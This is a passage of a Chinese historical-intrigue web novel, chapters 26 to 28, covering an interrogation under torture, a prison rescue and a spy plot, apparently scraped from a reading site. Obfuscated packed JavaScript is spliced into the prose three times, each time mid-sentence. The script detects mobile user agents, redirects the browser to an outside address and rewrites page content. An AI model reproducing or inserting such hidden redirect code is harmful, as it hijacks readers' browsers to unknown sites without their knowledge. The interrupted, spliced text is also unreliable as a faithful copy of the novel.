无奈之下,只能低声劝道:“即便此事另有隐情,但无论如何,夏翌一死,也算是解了姐姐的联姻之困。咱们也算是可以就此安心了。” “安心?” 温沉吟冷声一笑,站起身来:“此事牵涉庆国暗探,哪会如此容易安心?朱大人若非同样心存顾虑,又如何会将那柳行云扣在牢中,迟迟不肯放人?” 温珩赫然一惊:“姐姐和朱大人是怀疑那柳行云也和庆国暗探有牵连?” “那不然呢?否则以阿贵的身手,离去之前大可将她灭口,为何偏偏留下了她的性命,任由她指认自己的凶犯身份?” 温珩安静的听着,忽然间脸色一变,像是想到了什么。 温沉吟留意到了他的神色变化,轻声问道:“怎么?你是有什么想说的么?” 温珩点了点头,口气却有些犹豫:“方才我将整件事复盘了一遍,我忽然觉得有一个人,或许比柳行云的嫌疑更大。若不是他将世子引去了莳花馆,那后续的一切,就根本不会发生……只是以朱大人的才智,必然也应该想到了这一层。既然他那边没有要将这条线索查下去的意思,那想来应该是我多虑了……” “此事并非是你多虑……” 温沉吟微声一叹,似是早有决断:“他之所以能逍遥至今,没有和柳行云一样被带走,不过是因为朱大人误判了他的身份。在朱大人眼中,他是战功累累的云麾将军,绝对没有与庆国暗探勾连的可能,所以才会忽略了这条线索。可你我姐弟,难道还不知道他究竟是个什么玩意么?” 听她如此指名道姓,温珩惊诧得连声音里也带上了几分颤音:“所以姐姐一早就在怀疑马小六也和夏翌之死有关?那他到底是何身份?这样做究竟有何目的?” “这些问题我暂时还不知道……” 温沉吟一边应声,一边从眼前的药草中挑出了些许粉末,轻捻之下,洒进了一个酒壶:“之前是我看走了眼,才会让他装疯卖傻在我眼皮子底下折腾了这么久。如今他既然有可能牵连上庆国暗探,那有些话就必须得彻底问个清楚了。” 26. 刑讯 月色初上时,温沉吟带着一壶酒和两个小菜,敲开了马小六的房门。 房间里意外的十分整洁,原本被他偷偷藏起来的花瓶茶具之类的东西都放回了原处,但在桌子的地方,却意外地摊着好几本书。 温沉吟见状,缓步走了过去,随手拿起其中一本瞧了瞧:“你不是不爱读书吗?怎么如今反而开始用功了?” 马小六垂着眼,脸上都是愧疚:“之前是我不懂事,不仅惹你生气,还牵连世子也丢了性命。如今想来很是后悔,所以决定以后都在府里呆着,好好念书,若没有你的允许,绝不再出门。” 温沉吟轻声笑了笑,手指从摊开的书页上缓缓划过:“世子之事,和你有何关系?还是说……从世子去莳花馆,到遭遇柳姑娘,再到进了她的落玉阁,都是你有心安排的么?” 马小六赫然一惊,赶紧摆手否认:“怎么会?我只是觉得……如果不是我选错地方,世子大概也就不会出事了。” 温沉吟“嗯”了一声,示意他坐下:“这几日你闭门不出,想来许多事也不知道。刚好今日下午温珩带了一个好消息和一个坏消息回来,你想先听哪个?” 马小六浑身僵硬地坐在那,神色有些踌躇。 半晌之后,他才犹犹豫豫地表示:“要不……你就先说好的那个?” 温沉吟点了点头,缓缓给他斟了一杯酒:“好消息是,世子一案现已查明,乃庆国暗探所为,陛下也已经安排了鸿胪寺中一干人等,亲自将世子的遗体送回凉国。外加贵妃娘娘从中从中斡旋,又有书信为证,想来凉王再是伤心,也不会因此而迁怒于燕国。” 马小六闻言重重松了一口气,一直满是不安的脸上也终于露出了一丝笑容:“这么说来,还真是个好消息,至少燕国百姓,不会因此而受战乱之苦。就是便宜了那些庆国暗探,就这么死了,不然还能好好审审,看他们究竟还有何种阴谋!” 温沉吟抬起酒杯,主动和他碰了碰,直到见他将酒饮下,才继续说到:“这个你倒是不用担心,就算那两个男人死了,不是还有人活着么?” 马小六身形一僵,握着酒杯的手不由自主的捏紧:“怎么?朱大人是已经抓到阿贵了?” “阿贵身手不凡,既然已经逃走,哪有那么容易抓到?但当日在场的,不是还有一个柳姑娘么?” “柳姑娘?” “没错!” 温沉吟口气一派漫不经心,目光却紧盯着他:“这便是我要告诉你的那个坏消息,因为无法确认柳姑娘在世子一案中究竟充当着怎样的角色,朱大人已经下令,将她羁押在了大理寺的地牢之中!” 马小六嘴角动了动,似是想要为柳行云申辩。 但在温沉吟凌厉地逼视下,最终却只是轻声叹了叹:“世子一事关系重大,朱大人谨慎小心些,也是应该的。只是那柳姑娘身体看着弱得很,呆在狱中只怕很难熬……” “何止是难熬,就朱大人的那些手段,她能不能活着走出大理寺大概都很难说。” 温沉吟轻声说着话,口气里却多出了几分暧昧:“柳姑娘如你如此投缘,如今她深陷囹圄,惨遭酷刑,你就不打算帮帮她吗?” 马小六似是被她的质问惊呆了,连口气也变得结结巴巴的:“这事……我能帮得上什么忙?” “当然帮得上!” 温沉吟身子一探,用力握住了他的手腕:“只要你和朱大人说清楚,你和那几个庆国暗探之间的关系,我相信朱大人的注意力,应该就不会放在柳姑娘身上了。” 马小六脸色忽变,下意识就想挣开她的手。 然而很快的,他只觉得眩晕阵阵袭来,眼前的笑容也逐渐变得模糊。 随着眼皮越来越沉,他身子一软,“咚”地一声倒在了桌面上,然后就什么都不知道了。 意识再次复苏时,马小六发现自己身处于一间幽暗阴冷的密室中。 几条坚硬的铁链从他的脖颈和四肢绕过,那冰冷刺骨地触感,让他禁不住打了个哆嗦。 等他好不容易认清眼前的局势,发现自己被牢牢禁锢在一具刑架上后,惊惶之意更甚。 即便嗓子已经十分干哑,他还是忍不住惊呼出声:“来人阿!有没有人阿!这究竟是什么敌方?你们赶紧把我放了!” 随着惊呼声在空旷的房间里来回震荡,“塔、塔”的脚步声响了起来。 紧接着,一道人影举着火把由远及近,将屋内的照亮了。 马小六凝神细看,发现来人竟是卫宁,不禁又惊又怒:“卫大人?怎么会是你?我这是在哪?你究竟想要做什么?” 卫宁看着他,表情却看不出太多喜怒:“公子稍安勿躁,这里是温府中的一间密室,之所以特意将你请来,是小姐有些话,想和你聊聊。” 听到“小姐”二字,马小六神情一滞,一直高声叫嚣着的声音也软了下去:“她有事便问,好端端地把我绑来这里做什么?” “公子生性狡黠,说起话来总是不尽不实,小姐又实在没什么耐性,所以觉得,还是用直接一点的方式比较好。” 卫宁一边说着话,一边从靠墙的刑架上取下了一根皮鞭:“怎么样?公子是现在就交代,还是想试试在我手下能熬多久?” 马小六双目圆瞪,像是已经被眼前的架势吓破了胆,嘴唇哆嗦了好一阵,才挣了个声音出来:“你们究竟想知道什么?该说的话,我之前不是都已经和你们说过了吗?” 卫宁重重一叹,随即将手中的鞭子凌空一挥:“公子既然如此倔强,那就请恕在下无礼了。” 温沉吟站在院中,看着月色朗朗的夜空。 又是一年中秋将至,许多人已经准备起了桂花酒,开始期盼阖家团圆,饮酒赏月的日子。 只是对她而言,这个温暖团聚的节日带来的却只有失去亲人的痛苦和离别的伤感。 十八年前,她的母亲在这一日因奸人所害而身中剧毒,就此拉开了母女离别的序幕。 八年前,裴瑾也是在这一日离开了荟英堂,去往北境,从此天隔一方,音讯渺渺 如今天上的明月已经日渐圆盈,她所牵挂着的人却已然生死难料 一想到对方或许已经落入敌军之手,被关在暗无天日的牢房中饱受折磨,又或许已经被被秘密杀害,抛尸荒野,她的心就忍不住阵阵抽痛。 思绪纷扰之间,身后有脚步声传来。 温沉吟暗中平复了一下心绪,很快扭身问道:“怎么样,他说了么?” 卫宁摇了摇头,脸上的表情看上去有些疲惫:“能使的手段都已经使了,但他还是说什么都不知道。我怕再审下去,会要了他的命,就只能先停手了……” 他顿了顿,继续补充道:“不过行刑过程中,我倒是检查了一下他的身体,并没有发现什么特殊的刺青。想来他即便身份有异,应该也不属于青鹞。” “这是自然!” 温沉吟哼声一笑,似是并不意外:“青鹞虽说是暗探组织,但并非所有庆国的暗探都要归入青鹞。他既然有胆子顶着那张脸来我燕国生事,必然也不会留下这么明显的痕迹,不然庆国人又怎会放心送他进天启?” 卫宁怔了怔:“那小姐是何打算?还要继续审吗?” 温沉吟想了想:“他既如此嘴硬,那我还是先去见见他好了。” 原本冷气森森的密室中,已经因为长时间的刑讯而充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221119|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斥了浓郁的血腥气,让人闻之欲呕。 饶是卫宁早已见惯了这样的场面,再次踏足之时,还是忍不住皱起了眉头。 温沉吟却恍若无事发生一般,神色平静地从满是血污的青砖上缓步走过,直至走到马小六身前约半丈的位置,才悠悠然地停下脚步:“你还好吗?” 马小六被各种刑具加身,折磨了大半个晚上,中途晕阙了好几次,却又屡屡被凉水泼醒,此刻早已是浑身乏力,气息奄奄,一张满是血污的脸早已看不清本来的面目。 听到温沉吟的询问声,他勉力将头抬起,像是想要破口大骂,又像是要申辩叫屈。 然而喉结滚动之下,最终却只挤出了一声低喃:“还行,暂时还死不了……” 光影交错之间,温沉吟似是置身于庆国大牢,眼前正在受刑讯之人,竟是变成了裴瑾。 心颤之下,她迅速将目光那张血迹斑驳地脸上挪开,口气里也多了几分商量的意思:“大家相识一场,你也算是帮过我,如今夏翌已死,我的困局也算是暂时解了。我温沉吟不是知恩不报之人,所以无论你是何居心,身份如何,我都可以统统不计较,只要你回答我一个问题,我便放你出府,如何?” 马小六似是已经彻底没力气了,满是无奈地挤出了一个苦笑:“所以你折腾了这么久,究竟是想知道什么?” 温沉吟将手一伸,抬起了他的下巴:“你只需告诉我,裴瑾如今身在何处?是否还活着!” 马小六一脸茫然地看着她,嘴唇微微嗡动着,浓稠的鲜血顺的嘴角一点点的向下滑落,却像是已经毫无知觉。 半晌之后,他才像是彻底反应了过来,满是绝望地垂下了眼睛:“你找了裴小将军那么久,都不知道他在哪,我一个跑江湖卖艺的,又怎么会知道……” 温沉吟被他那拒不合作的态度彻底激怒了,用力钳住了他的脖子:“你不知道?那你知不知道,你与庆国暗探勾连,设计杀害凉国世子已是死罪。若不是我保着你,如今你已经在大理寺的大牢里了! 马小六一边咳喘着,一边哼笑着闭上眼睛,像是已经彻底放弃了:“你非要冤枉我与庆国暗探勾连,我也无话可说,谁让我当初贪图富贵,来冒充你的未婚夫?如今你掀了牌桌,非要置我于死地,那也只能怪我识人不清,运气不好。反正我在你家这些日子,也算享了几天清福,没什么好遗憾的了。如今就算真死在了你手里,也没什么好抱怨的!” 看着他那满是无赖的模样,温沉吟慢慢松开了手,似是面对他这破罐子破摔的态度,已然束手无策。 卫宁见状,迅速凑神向前:“小姐,他既是不愿配合,咱们要不要上些新的手段?” “不必了。” 温沉吟重重一叹,像是也有些乏力:“他这是不到黄河心不死,若是咱们拿不出证据,他必然什么话也不会说。” 历经了大半个晚上的刑讯,卫宁也已经意识到,这马小六看似贪生怕死,实则坚韧异常。 若拿不出他与庆国暗探有勾连的实证,那无论如何逼迫,都无法将他的嘴巴撬开。 只是能试的刑法都已经试过了,对方依旧是这副油盐不进的模样,就算真的以死相胁,只怕也不会有效果。 情急之下,他也只能恨声表示:“只可惜此事事关小姐,不然若是将他送到朱大人那里,和柳行云当面对质,说不定能让他张嘴!” “嗯?” 听他提到柳行云,温沉吟心下一动,瞬间已经有了计较:“柳姑娘那边一直没审出什么东西来,大概朱大人也正在头疼。我记得阿珩和大理寺寺丞廖庭有些交情,晚些时候就让他请廖庭帮个忙,将柳姑娘借给咱们两个时辰!” 27. 营救 午夜寅时,已是到了一天中最冷的时候。 柳行云双手抱肩,蜷缩在大理寺的地牢角落里,尽力将身上的衣物裹紧,却依旧止不住阵阵发抖。 夏翌的命案发生之后,朱鹮就将她问询为由,将她关押在了这里,一遍遍地让她回忆着事发时的种种细节。 虽然对方的态度还算客气,但她心里很清楚,朱鹮已经对她的真实身份产生了怀疑。 一旦对方耐性耗尽,酷刑加身也不过只是迟早的事情。 从以花魁的身份进入莳花馆的那一日起,或者说是是更早一点,从她开始学着对男人巧笑嫣然,争宠献媚的时候起,她便已经清清楚楚地知道了自己的命运。 因此即便眼下身陷囹圄,却也没有太过恐惧。 她只是有点遗憾,遗憾自己的心意至今还未被意中人知晓。 一想到和对方最后一次近距离接触,也不过是以花魁与恩客的身份轻轻抚了抚对方的脸颊,她心中便是止不住的失望和难过。 其实多年之前,她曾经是有过与对方肌肤相亲的机会的。 那时她还是个未经人事的少女,但却因为出色的长相早早成为了旁人手中的棋子。 在历经了长时间的训练后,有一日她被人精心打扮,送进了一个少年的房中。 在此之前,她曾亲眼见见证过许多和她一样成为棋子的女孩子们的命运。 出于不同的目的,她们有的被送进了妓馆,至此跌入深渊,有的以侍妾的身份,成为了高管贵胄们的玩物。 而眼下房中的这个少年,虽然衣饰简陋,明显不是什么高官显贵,但既然将自己送到了这里,那他在某些人的眼里必定是奇货可居,大有用途。 在这命若草芥的年代里,无论怎样厉害的人物,都摆脱不了被他人掌控的命运。 当财富、权势都无法成为诱惑时,一个样貌美丽的女人或许就能把对方控制在手中。 所以她现在需要做的,就是利用自己的身体,走进对方心里,将他牢牢牵绊住。 按照之前所学,进屋之后她并没有说太多话,就巧笑嫣然地褪去了自己的外衫,主动坐进了对方的怀里。 当她主动仰起头,去亲吻对方的那一刻,身体却因为害怕,止不住微微有些颤抖。 少年原本一脸玩味地坐在床沿边,像是像看看她究竟能玩出什么花样。然而很快的,却像是被她的热情所诱惑,呼吸逐渐急促了起来。 随着掌风一扬,屋内的火烛就此熄灭了。 一片静溢的黑暗里,她大着胆子将少年推在了床上,然后开始颤抖着向下摸去。 刚摸到对方腰的那一瞬,手腕却被牢牢抓住。 没等她有所反应,对方的轻笑声已经在她的耳边响起:“这种事情,哪里有让女孩子主动的道理?你家里人平时都是这样教你的么?” 她怔了怔,乖顺的伏在了对方胸前,不敢在动,一直藏在眼底的泪水,却因为听到“家人”二字,止不住地流了下来。 静默之中,对方摸到了她脸上水渍,微怔之下,声音也低了下来:“你别哭了,若是我说错了话,我向你道歉。这些事你若不想做,我也不会强迫你,反正时间还早,咱们不如就随便聊聊天?” 虽然知道以她如今的身份,是不该再与人坦诚相交的,但或许是长久以来的思念与恐惧,又或许是对方表现出来的真挚与温柔,那个夜晚,柳行云伏在少年的胸前,断断续续地和他说了很久的话。 她告诉他,她原本姓曹,母亲是庆国当地的一名绣娘,父亲则常年在外奔波,做点小生意。 家境虽然不富裕,但父母关系恩爱,对她也很好,一家三口的日子过得其乐融融。 然而在她三岁那年,家中忽然遭遇了惊天的变故。 仅仅一晚上的时间,母亲被杀,房屋被烧,她也被人带走,平静的生活就此付之一炬。 索性父亲出门在外,逃过了一劫,但从那之后,他们父女却再也没有相见过。 在那场变故之后,她名字也变成了柳行云,每日所学,也都是一些如何察言观色,侍奉男人的技巧。 没有人教过她如何自尊自爱,也没有人教过她身为一名女子,在正常与人相交时,应该持有怎样的态度礼数。 在这满是屈辱和轻贱的生活中,她原本也想过一了百了,但想要和父亲再见一面的期盼,终究还是打消了她自杀的念头。 在她诉说的过程中,少年一直安静的倾听着,偶尔听到她声音哽咽,会轻轻拍打她的脊背以示安慰。 待到许久之后,她朦朦胧胧地从睡梦中醒来,才发现窗外天光已亮,而对方竟一直合衣而睡,没有再碰过她 虽然内心充满了感激,但她也很清楚,自己的任务没有完成,事情大概很难收场。 如果被践踏的命运已是定局,那么自己的第一次交给眼前这个少年,或许比交给旁人要值得。 对方似乎也看出了她心思,在她重新缠上去,意图求欢时,轻轻把她推到了一旁。 紧接着,他划破了自己的手臂,把血滴在了床单上,然后轻声交代道:“今日之后,我便不会在这里了,以后的日子,咱们各自珍重。不过你放心,既然你把我当朋友,将你的心事告诉了我,我一定会尽力护着你的!” 因为那块带血的床单,柳行云就此逃过一劫。 接下来的时间里,她也常常会收到那个少年托人送来的一些银子、首饰和衣料。 她知道这是对方是用这样的方式在表明自己对她已经上了心,让她不至于因为任务的失败而被受到责罚。 很快的,她也从旁人那些意味深长地调侃里,知道了那个少年的名字叫做马小六。 此后的漫漫数年里,他们在各种场合下陆续见过好几次。 那个时候,她已经在一次次的任务中,变成了一个可以在男人之中游刃有余的女人。 但马小六却仿佛什么都不知道一样,每次见到她时都是笑眯眯的,若是有单独相处的机会,还会变戏法一样从拿出一些好吃的糕点或是有趣的玩意逗她开心。 仿佛在他眼里,她不是媚视烟行的风尘女子,只是当年那个天真懵懂的曹家小姑娘。 此后再见,她已经身在燕国,成为了莳花馆中的头牌乐妓。 他也摇身变一边,从常年在赌坊出没的混混,变成了众人敬仰的云麾将军。 夏翌被杀的前一夜,他留在她的房中,一路听她弹琵琶唱歌,仿佛乐不思蜀。 可她很清楚,在那一夜的风流快活之后,对方即将面对的究竟会是什么。 时至当下,她已经按照对方的吩咐,做了自己该做的事。 即便知道所有的安排都只是出于马小六的私心,而非主上的意思,她也并未有过半点后悔。 如今她已深陷囹圄,再难逃脱,却依旧记挂着那个时常脸上带笑,看似没个正形,却在私下里对她照顾有加的少年如今究竟如何了…… 更不知道那日温家小姐离去时,他满是惆怅的模样,是否是因为已经对对方动了真心。 只是像他们这样的人,不过是乱世之中,在寂寂风雨中飘零的杂草。 真心是最不值钱,也是最危险的东西。 一旦心中有了软肋,便会跌入深渊,万劫不复。 思绪纷扰之间,一阵脚步声由远及近,在牢房前站定。 紧接着,有人打开了牢门上那把厚厚的大锁。 柳行云赶紧收敛心神,脸上习惯性地挂上了一抹笑。 为了攻破她的防御,逼她说出真相,朱鹮总会变着花样,不分昼夜地将她拉去问话,这些日子以来,她早已经习惯了。 但若是利用自己的笑容做武器,尽力表现得柔软乖巧一点,总是能少吃点苦头。 只是这一次的情形似乎和她预想的有所不同。 眼前那个一脸大胡子的差役将她带出牢房后,并未向平日一样,将她送到朱鹮面前,而是一路沉默着将她带出了大理寺。 随着路越走越远, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229439|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那栋熟悉的建筑逐渐被夜色淹没,柳行云心下生疑,不禁放慢了脚步:“你是谁?想要带我去哪?” 对方皱了皱眉,似是有些不耐烦,还没来得及开口,不远的地方忽然亮起了一片火光,似是有人举着火把追了过来。 那差役脸色微变,瞬间抓住了她的手,匆匆向前奔去。 柳行云不明就里,却无法挣脱他的钳制,只能在他拉拽下,跌跌撞撞地跟着向前跑。 刚刚跑进一条暗巷,身后忽然掠起了一阵疾风。 那差役察觉有异,立马将她朝旁边一推,然后速度飞快地抽出了腰间的佩剑。 随着“当”的一声脆响,两柄长剑在空中撞出了一片火光四溅。 与此同时,有人怒声呵斥道:“谁那么大胆,竟敢夜闯大理寺?” 大胡子差役依旧冷着脸,对与来人的叱问恍若未闻,身体尚未站稳,竟然又是一剑凌空刺下。 追捕者像是没想到他会如此凶悍,气势一怯,瞬间被逼退了好几步。 趁着他后退的空挡,大胡子抓起了柳行云的肩膀,狠狠向身后一推,随即压低了声音催促道:“我挡住他,你赶紧走!” 没等她反应过来,那差役已经重新转过身,向着追捕者冲了过去。 虽然依旧未曾弄清状况,柳行云也已然明白那大胡子假扮差役进入大理寺,是来救她的。 她自知手无缚鸡之力,高手对战只之时,继续留下只能拖累对方,于是干脆将牙一咬,开始卯足了劲往前飞奔。 然而深夜之中,四下里都是漆黑一片,她根本无法辨别方向。气喘吁吁地跑了一阵后,竟是脚下一拧,跌坐在了地上。 还没等她重新爬起来,一道黑影已经出现在了巷子的转角处。 柳行云心下一凉,迅速将脸垂下,只盼着对方是个路人,能够迅速离去。 然而那人却像是认准了她,径直走到了她身前。 就在她牙齿紧咬,准备拼死一搏时,却听到对方重重一声叹:“不是让你赶紧走吗?怎么还在这?” 柳行云心下一惊,赶紧将头抬起。 清冷的月光之下,一张熟悉的面孔正满是不耐地看着她,赫然就是不久前将她带出大理寺的那个大胡子! 虽然才和对方相识不久,但历经了一场惊心动魄的追捕之后,柳行云对他已然不如最初那般防备。 正准备开口问问他究竟是谁,为何会冒着这么大的风险夜闯大理寺,晃眼之间,却发现对方的右手低垂,肩膀的地方似是已经被血迹濡湿了。 柳行云这一惊非同小可,赶紧站了起来,急声问道:“你受伤了?伤势严重么?” 大胡子却是一脸的不以为意:“受人之托,忠人之事。如今你既然已经顺利离开了大理寺,我的答应别人的事也算是完成了,这点小伤算不了什么。” 柳行云闻言越发惊异:“你我素不相识,究竟是谁让你来救我的?” 大胡子的口气越发不耐:“你赶紧走就是了,问那么多干什么?” 见他紧咬牙关,死不松口,就是不肯说出托付之人的名字,柳行云心中模模糊糊地涌上了一个念头。 情急之下,她干脆拦在对方身前,扯住了他的袖子:”你若不告诉我究竟是谁让你来的,我便不走了!” 大胡子受伤之下原本就心情烦闷,如今被她一再纠缠,更是满脸不爽。 僵持之间,远处似乎隐隐又有动静传来,他终于像是放弃了一般,重重叹了出来:“你知道了也没用,那家伙就快死了,你又何必问这么多,给自己找不痛快呢?” 柳行云没想到反复追问之下,最后听到的竟是这样一个答案,心中更觉急切:“你说他要死了?那他现在人在哪里?能不能带我去见见他?” 大胡子像是过惯了刀口舔血的日子,很少面对女人的眼泪攻势。 此刻面对她的苦苦哀求,他也像是没辙了,几番犹豫后,终究还是重声一叹:“算了算了!你若实在想见他,跟我走就是了。” 28. 心意 半炷香的功夫后,柳行云紧跟在大胡子身后,走进了一间深藏在暗巷中的小屋子。 屋子里器物简陋,布满了灰尘,像是很长时间都没有人住过。 靠墙的地方,是一张脏兮兮的木床,床角堆着的被子灰扑扑的,已经看不出原本的颜色。 一个人双眼紧阖着躺在床上,也不知是睡着了,还是已然陷入晕阙。 没等大胡子将烛火点亮,柳行云已经从那熟悉的身形中判断出了对方的身份,立马脚步趔趄着冲了过去,跪在了床沿边,颤声呼唤着:“小六,你醒醒!我是阿柳,我来看你了!” 片刻之后,眼见静卧之人毫无反应,柳行云眼眶一红,看向了一旁的大胡子:“他究竟是怎么了?为何一直没反应?” 大胡子早已经扯下了一截衣料,此刻正忙着为自己包扎伤口。 听她口气着急,他也只是满脸不耐地哼了哼:“他身受重伤,又中了剧毒,如今还能剩一口气已经不错了,你还指望他有什么反应?” “他中毒了?什么毒?究竟是谁把他害成这样的,你知道吗?” “我就是个收钱办事的,哪里知道那么多?” 大胡子裹好了伤口,终于多出了一点说话的耐性:“实话和你说了吧,我之前也就是因为惹上了点麻烦,被这小子救了一命,才算是勉强和他交了个朋友。但他究竟是何身份,平日里都在干些什么,和什么人来往,我也从来没问过……前几日他忽然找上我,说是让我去大理寺帮忙救个人。虽然这是掉脑袋的买卖,但看在他命不久矣的份上,我还是答应了下来。至于他究竟被谁打伤,为什么会变成这样,我就一概不清楚了。” 一番话说完,他站起身来:“反正如今该办之事,我已经替他办妥了。只是如今我得罪了官家,又被他们看到了样貌,天启这地方是呆不住了。你既然已经见了她,便赶紧跟我一起走,免得夜长梦多!” 柳行云闻言一愣:“走?去哪里?” “去哪都行!天下之大,哪里去不了?反正我答应了这小子要救你,总会护住你一条命就是了!” “那他呢?你能带他一起走吗?” “他?” 大胡子像是听到什么天大的笑话一般,脸上都是嫌弃:“如今帝都之中,到处都是追捕你我的差役,想要顺利逃脱,已是困难重重,将他带在身边,只会是拖累!何况他命不久矣,迟早是个死,又何必多此一举?” “那倒也是……” 柳行云点了点头,轻轻擦去了脸上的泪水,一直惊慌不安的脸忽然就镇定了下来:“既是如此,你便自己走吧,我留在这里陪他就是了。” 大胡子似是被她那不计生死的态度惊到了,原本已经踏出屋子的脚步顷刻间又转了回来,双手抱胸靠在了窗边,像是在犹豫着要不要就这么一走了之。 柳行云也不理他,去屋外打了一盆水,又找了一块布巾,洗干净后,在马小六那张布满了血污的脸上小心翼翼地擦拭了起来。 等到盆里的水被血污染红,马小六的脸也终于恢复了平日里的模样,她才将布巾扔开,在床沿前坐下,然后缓缓俯身,将头枕在了对方的心口。 如此缠绵缱绻的一副景象让大胡子有些慌了神,下意识就想把目光别开。 然而柳行云却视他如空气一般,已经慢悠悠地然开口了:“猜到是你要救我的时候,我原本是想回大理寺的,毕竟我已经是个要死的人了,又何必让你费这么多心思。可是我最终还没回去,因为我想要见见你,即便见了之后,一切都不会有什么改变,但只要在临死之前见上你一面,我便已经心满意足了……” 见她坐在那自顾自地说着话,仿佛把自己当成了一个死人,大胡子又是吃惊,又是尴尬。 但满心的疑惑,还是让他忍不住多嘴问道:“我说……你和这小子究竟什么关系啊?难不成你是他媳妇儿?难怪他伤成这样还惦记着要救你……” “不是的……” 听他主动发问,柳行云笑了笑,慢慢坐直了身体,口气中却是显而易见地惆怅:“其实以前我也曾经妄想过,他或许是有一点喜欢我的吧,毕竟相识以来,他虽然总是没个正形,却从来没有看不起我,还暗中给过我很多照顾。所以我也幻想过,若是有一天能够远走高飞,得以自由,我便要一直跟着他,即便不能与他成亲,能日日见到他也是好的。可是那一日,我看到了他看温小姐的眼神,便知道他从未爱过我。他对我所有的好,也不过就是同情罢了……” 听到“温小姐”几个字,大胡子瞳孔不由得猛地震了震。 索性柳行云全然沉浸在自怜自哀的情绪里,对于他的异常反应,并未有所察觉。 片刻之后,大胡子像是有点不忍心,口气生硬的劝慰道:“你说的那个温小姐究竟是何人?难道会比你长得还美么?何况光凭一个眼神,你就肯定这小子心里另有其人?说不定是你误会了呢?” “自然不是……” 或许是历经生死之后,她对眼前的这个大胡子已经有了亲切感,又或许是长久以来被压抑的感情需要倾吐,而眼前这个五大三粗,什么都不知情的大胡子刚好是个合适的倾诉对象,柳行云摇了摇头,眼波逐渐朦胧了起来,声音也带上了一丝苦笑:“那位温小姐有个弟弟,按照主上的计划,他原本是应该要死的,可是小六却冒着巨大的风险,硬生生地打乱了这个计划,以至于自己落到眼下这般田地……他之所以会这么做,无非就是心中有了温小姐,舍不得她伤心罢了。” 大胡子像是对她这语焉不详的解释十分困扰,嘴唇半张着,满脸都是茫然。 然而没等他继续再问下去,柳行云却像是彻底下定了决心一般,忽然跪倒在地,朝他重重行了一个礼。 她原本就是盈盈弱质之姿,如今突行大礼,更是惹人怜爱。 大胡子赫然一惊,下意识地挺直了什么:“你这是干什么?” 柳行云跪在地上,看向他的目光里都是破釜沉舟的决绝:“阁下甘冒性命之险,将我从大理寺中救出,小女子实在感激不尽。只是如今,我还有一个请求,还望阁下能够成全!” 大胡子满脸都是为难,但最终还是摇了摇头:“我知道你想带他走,但我实在是没办法……” “阁下误会了!” 没等他把话说完,柳行云已经打断了他:“阁下的难处我明白,所以不会让你为难。只是如今我要回大理寺,还望阁下勿要阻拦。” “什么?你要回大理寺?” 这意料之外的答案让大胡子越发震惊,连口气也变得磕磕巴巴地:“你好不容易才从那鬼地方逃出来,如今却要回去?这是为何?” “因为只有我回去,他才有活命的可能!” “……” 面面相觑之间,大胡子像是没辙了,终于放弃般长声一叹:“你真决定要回去,我也不拦你,但在此之前,你总得告诉我这其中的缘由。不然这小子没救回来,你又赔了一条命,以后我该如何向他交代?” 这么一阵时间接触下来,柳行云大概也意识到了对方是个简单粗暴,又认死理的性格。若不把前因后果说清楚,大概是不会放她脱身。 何况对她而言,如今大理寺正在全城搜捕,那座屋子已是她最后的孤岛。 身处绝境之下,她也不再有那么多顾忌,当即轻声解释道:“数日之前,凉国世子夏翌携使团进京,阁下可曾听说?” “那是当然!夏翌那斯贪酒好色,最后因为与人争风吃醋死在了青楼妓馆,此事在坊间传得沸沸扬扬,我怎会不知?” “是……但其实在原本的计划里,夏翌是不必死的。” “计划?什么计划?” 柳行云笑了笑,目光垂了下去:“我替主上办事,所以一月之前便已得知夏翌即将进京的消息,并将此事告诉了小六。夏翌此人生性傲慢,此次来燕国,必会不会那么安生,所以按照主上最初的计划,是打算在夏翌有所挑衅时,借势杀人,以此挑起燕、凉两国之间的矛盾,但事到临头,小六却将计划打乱了……” 大胡子一路听到这里,像是忽然意识到了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241252|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“所以你的意思是……夏翌身边的阿贵是你们的人?而你们原本的目标,其实就是温公子?” 柳行云似是有些意外:“阁下居然知道阿贵?” 大胡子干笑了一声:“我既然要救你,必然要下点功夫。如今大理寺正因夏翌一事四处通缉阿贵,这点消息,我自然知道!” 